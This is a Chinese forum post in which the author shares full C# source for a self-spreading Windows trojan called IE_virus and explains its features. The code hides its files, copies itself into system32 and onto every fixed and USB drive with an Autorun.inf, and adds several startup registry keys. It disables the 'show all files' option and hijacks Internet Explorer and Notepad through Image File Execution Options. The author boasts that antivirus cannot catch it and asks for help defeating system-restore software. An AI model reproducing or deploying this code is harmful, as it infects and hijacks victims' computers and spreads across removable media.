把我写的木马源代码贴上来,互相学习下
http://bbs.tarena.com.cn/archiver/tid-52641.html
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows.Forms;
using System.Collections;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.Threading;
using System.IO;
namespace IE_virus
{
public partial class Form1 : Form
{
ArrayList list = new ArrayList();
RegistryKey key = null;
public Form1()
{
InitializeComponent();
CheckForIllegalCrossThreadCalls = false;
list.Add(@"C:\WINDOWS\system32\IE_virus.exe");
list.Add(@"C:\WINDOWS\system32\ShowMessage.exe");
list.Add(@"C:\WINDOWS\system32\Autorun.inf");
list.Add("IE_virus.exe");
list.Add("ShowMessage.exe");
list.Add("Autorun.inf");
}
private void Form1_Load(object sender, EventArgs e)
{
int processNum = 0;
for (int i = 3; i < 6; i++)
File.SetAttributes(list[i].ToString(), FileAttributes.Hidden);//将文件属性改为隐藏
Process[] myProcesses = Process.GetProcesses();
foreach (Process myProcess in myProcesses)//枚举进程
if (myProcess.ProcessName == "IE_virus")
processNum++;
if (processNum == 1)
{
if (Application.StartupPath == @"C:\WINDOWS\system32")
{
Thread kill = new Thread(new ThreadStart(writeFile));
kill.Start();
}
else
{
writeWin32();
Process.Start(list[0].ToString());//将控制权交给系统目录下的文件
}
}
//Process.Start(@"rundll32.exe", "ClassLibrary1.dll runsss");
Application.Exit();
}
//让所有磁盘都感染
void writeFile()
{
while (true)
{
string[] drives = Environment.GetLogicalDrives();//得到所有驱动盘符
for (int i = 0; i < drives.Length; i++)
{
//确定感染对象
if (PlatformInvokeKernel32.GetDriveType(drives[i]) == PlatformInvokeKernel32.DRIVE_FIXED || PlatformInvokeKernel32.GetDriveType(drives[i]) == PlatformInvokeKernel32.DRIVE_FIXEDS)
{
for (int j = 3; j < 6; j++)
{
if (File.Exists(drives[i] + list[j].ToString()) && j == 3)
continue;
File.Copy(list[j-3].ToString(), drives[i] + list[j].ToString(),true);
}
}
}
regedits();
this.Visible = false;
Thread.Sleep(500);
}
}
//将相关文件隐藏到系统目录下
void writeWin32()
{
for (int i = 0; i < 3; i++)
{
if (!File.Exists(list[i].ToString()))
File.Copy(list[i+3].ToString(), list[i].ToString(), true);
}
}
//修改注册表
void regedits()
{
//添加到启动项
key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
key.CreateSubKey("IE").SetValue("ShowMessage", list[0].ToString(), RegistryValueKind.String);
//同上
key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Windows", true);
key.SetValue("load", list[0].ToString(), RegistryValueKind.String);
//同上
key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer", true);
key.SetValue("Run", list[0].ToString(), RegistryValueKind.String);
//禁用显示所有文件
key = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL", true);
key.SetValue("CheckedValue", 0, RegistryValueKind.DWord);
//启用Auto
key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\Cdrom", true);
key.SetValue("Autorun", 1, RegistryValueKind.DWord);
mapped();
}
void mapped()
{
//地址映射劫持IE
key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options", true);
key.CreateSubKey("IEXPLORE.EXE").SetValue("Debugger", list[1].ToString(), RegistryValueKind.String);
//捆绑文本文件
key.CreateSubKey("NOTEPAD.EXE").SetValue("Debugger", list[0].ToString(), RegistryValueKind.String);
}
//dll注射
void hookDll()
{
}
//鼠标钩子
void mouseHook()
{
}
}
public class PlatformInvokeKernel32
{
[DllImport("KERNEL32", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
public static extern int GetDriveType(string lpRootPathName);
public const int DRIVE_FIXED = 3;
public const int DRIVE_FIXEDS = 2;
}
}
主要功能:IE劫持,中招后复制一份到WINDOWS\system32目录下(隐藏得蛮深的),然后疯狂自我复制,所有磁盘都感染,插上U盘什么的自动感染,起用系统的AUTO功能(你再把U盘插到别的机器上,再双击可想而知吧)
"显示所有文件"被禁用,删除木马文件过几秒钟又会出来,添加到启动项,开机就运行
进程隐藏:98下是用注册服务实现的,XP什么的是利用的DLL 注射
鼠标钩子:WINDOWS整个系统都得依赖消息传递来保障软件的正常运行,所以利用WIDNOWS API里的HOOK可以劫持(呵,这2部分代码没贴,想要得来找我)
一般木马的功能也差不多都具备了,只是我的这个没它们的那么下流
现在任何杀软拿我这也没办法,因为他们都不知道我代码咋写的(现在杀软都是利用特征码来查毒的)
有点惋惜的就是过不了还原精灵,哪位高手知道怎么实现麻烦告诉我下哦,到时候就做成引导型病毒算了,哈哈
